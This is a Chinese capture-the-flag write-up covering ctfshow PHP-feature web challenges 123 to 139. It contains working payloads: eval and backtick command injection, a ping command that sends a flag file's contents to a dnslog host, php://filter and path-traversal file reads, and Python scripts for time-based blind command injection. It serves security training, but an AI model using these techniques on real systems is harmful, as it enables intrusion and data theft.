ctfshow web入门 php特性 web123--web139

web123

必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

php 复制代码
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系

不过为了后面更好做题我们还是研究一下
添加链接描述

他这里对这个就讲的特别详细了,我抄一下

php 复制代码
argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
php 复制代码
web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果,题目中应该是On

这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
//$_SERVER['argv'][0]就是a[0]

$argv,$argc在web模式下不适用
php 复制代码
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

然后现在是网页模式

php 复制代码
这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
//$_SERVER['argv'][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格。

构造payload

php 复制代码
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
php 复制代码
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

这道题终于解决了

web125

就用argv的方法来写

php 复制代码
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

如上题

web127

extract:从数组中将变量导入到当前的符号表
还有空格可以用

php 复制代码
?ctf show=ilove36d

web128

php 复制代码
gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
php 复制代码
?f1=_&f2=get_defined_vars

web129

php 复制代码
stripos:查找字符串首次出现的位置

readfile: 输出文件

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

php 复制代码
GET传参:

//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数

然后数组可以绕过preg_match

php 复制代码
POST:
f[]=1
php 复制代码
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

php 复制代码
import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

会进行字符串转换我们之前的办法用不了了

用脚本使得目录溢出

php 复制代码
import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

扫描后台,我们进admin/index.php看看
mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

生成1-877的随机数

php 复制代码
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||优先级高所以可以看成是
if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1

web133

php 复制代码
$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
php 复制代码
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval('$F`;+sleep 3`');

然后我们就可以进行类似的构造

php 复制代码
?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

php 复制代码
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog

先点击左边的获得域名,然后传参之后再点击右边的刷新结果
flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式

ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

php 复制代码
parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。

对_POST进行extract,那么构造

php 复制代码
?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码

web135

web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过

但是不知道为什么web133的相关操作我都用不了了

只能用其他方法了比如写文件

php 复制代码
?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

exec相当于system

直接ls查看目录,发现一片空白,这时候就需要学新东西了

php 复制代码
tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
php 复制代码
?c=ls /|tee 3
然后访问3,下载文件记事本打开

查看flag

php 复制代码
?c=cat /f149_15_h3r3|tee 6

web 137

获得flag要调用getflag,也就是调用类里面的成员

php 复制代码
->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

php 复制代码
POST:
ctfshow=ctfshow::getflag

查看源代码

web138


调用类中的成员但是不能有 : 那么刚才的方法就不能用了,但是我们的

php 复制代码
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

传参

php 复制代码
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码

web139

python 复制代码
import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,"~"不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

f149_15_h3r3

python 复制代码
import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

继续跑flag

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php